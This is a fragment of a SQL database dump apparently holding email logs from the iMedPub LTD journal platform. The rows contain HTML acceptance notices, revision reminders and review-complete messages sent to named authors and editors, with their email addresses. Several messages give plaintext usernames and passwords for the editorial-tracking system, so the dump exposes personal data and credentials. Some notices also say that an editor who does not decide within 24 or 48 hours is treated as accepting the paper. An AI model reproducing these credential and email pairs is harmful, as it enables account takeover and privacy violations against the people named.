/>\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','serdal.gunduz@kstu.edu.tr',7300,'2021-02-11',48),(2615,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7306</b><br />\r\n            <br />\r\n            Article Title: <b>Application of Machine learning in long term healthcare cost prediction in Rwanda</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>NTIVUGURUZWA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sntivuguruzwa@gmail.com',7306,'2021-02-11',48),(2616,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7311</b><br />\r\n            <br />\r\n            Article Title: <b>The Cost of Caring: ICU workload stressors and the Saudi Arabian nurse</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>krishnavellie</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jessiechetty4@gmail.com',7311,'2021-02-11',48),(2618,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-02-13',85),(2619,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-02-13',85),(2622,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7034</b><br />\r\n            <br />\r\n            Article Title: <b>Horner&rsquo;s Syndrome due to a Spontaneous Internal Carotid Artery Dissection treated with Casper Stent</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dante Valer  Gonzales</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7034</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7034,'2021-02-15',75),(2623,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7034</b><br />\r\n            <br />\r\n            Article Title: <b>Horner&rsquo;s Syndrome due to a Spontaneous Internal Carotid Artery Dissection treated with Casper Stent</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Valer  Gonzales</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neuro_valer@hotmail.com',7034,'2021-02-15',75),(2626,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7291</b><br />\r\n            <br />\r\n            Article Title: <b>Kinematic analysis of different spinal and hip regions during the performance of a sagittal object-lifting task in asymptomatic peoples</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Raee Alqhtani</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7291</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',7291,'2021-02-16',85),(2627,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7189</b><br />\r\n            <br />\r\n            Article Title: <b>The major factors associated with increased dog population vis-a-vis spread of rabies within Srinagar district of Kashmir Valley, India&acirc;&euro;</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Namera Thahaby</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7189</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',7189,'2021-02-16',85),(2630,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-6849</b><br />\r\n            <br />\r\n            Article Title: <b>A FAMILY WITH AUTOSOMAL DOMINANT INHERITANCE OF TYPE 1 WAARDENBERG SYNDROME</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Latinovic</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-20-6849</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','olatinovic@ihv.umaryland.edu',6849,'2021-02-16',984),(2636,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7291</b><br />\r\n            <br />\r\n            Article Title: <b>Kinematic analysis of different spinal and hip regions during the performance of a sagittal object-lifting task in asymptomatic peoples</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alqhtani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rsalhyani@nu.edu.sa',7291,'2021-02-16',85),(2639,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7348</b><br />\r\n            <br />\r\n            Article Title: <b>STRENGTH TRAINING AS AN ASSISTANT TOOL IN THE PREVENTION OF FALLS IN ELDERLY SARCOPENICS: A REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Santos de Sousa Fernandes</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','theusfernandes10@hotmail.com',7348,'2021-02-17',48),(2640,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7189</b><br />\r\n            <br />\r\n            Article Title: <b>The major factors associated with increased dog population vis-a-vis spread of rabies within Srinagar district of Kashmir Valley, India&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-7189</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 24 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','jencook@email.arizona.edu',7189,'2021-02-17',85),(2643,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7095</b><br />\r\n            <br />\r\n            Article Title: <b>CICLOSPORINA Y METOTREXATO: POTENCIAL ALTERNATIVA DE TRATAMIENTO PARA LA COVID 19</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Viloria Madrid</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-7095</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>johan</b><br />\r\n            Password : <b>8x2gGYIJ</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','emmanuelviloriatoledo@hotmail.com',7095,'2021-02-18',274),(2644,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7060</b><br />\r\n            <br />\r\n            Article Title: <b>The Relationship Between Serum Uric Acid Level and Ischemic Stroke and Its Subtypes </b><br />\r\n            <br />\r\n            Corresponding Author: <b>nurhan kaya tutar</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7060</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7060,'2021-02-18',75),(2645,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7060</b><br />\r\n            <br />\r\n            Article Title: <b>The Relationship Between Serum Uric Acid Level and Ischemic Stroke and Its Subtypes </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>kaya tutar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nurhantutar@gmail.com',7060,'2021-02-18',75),(2646,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-02-18',85),(2647,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7189</b><br />\r\n            <br />\r\n            Article Title: <b>The major factors associated with increased dog population vis-a-vis spread of rabies within Srinagar district of Kashmir Valley, India&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Thahaby</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nimrazahbi@gmail.com',7189,'2021-02-18',85),(2649,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-6849</b><br />\r\n            <br />\r\n            Article Title: <b>A FAMILY WITH AUTOSOMAL DOMINANT INHERITANCE OF TYPE 1 WAARDENBERG SYNDROME</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Latama</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fadlilatama@rocketmail.com',6849,'2021-02-18',984),(2650,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7132</b><br />\r\n            <br />\r\n            Article Title: <b>Mild COVID-19 Infection in a Patient with Multiple Sclerosis, while taking Fingolimod: A case report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohammad-Reza fattahi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of 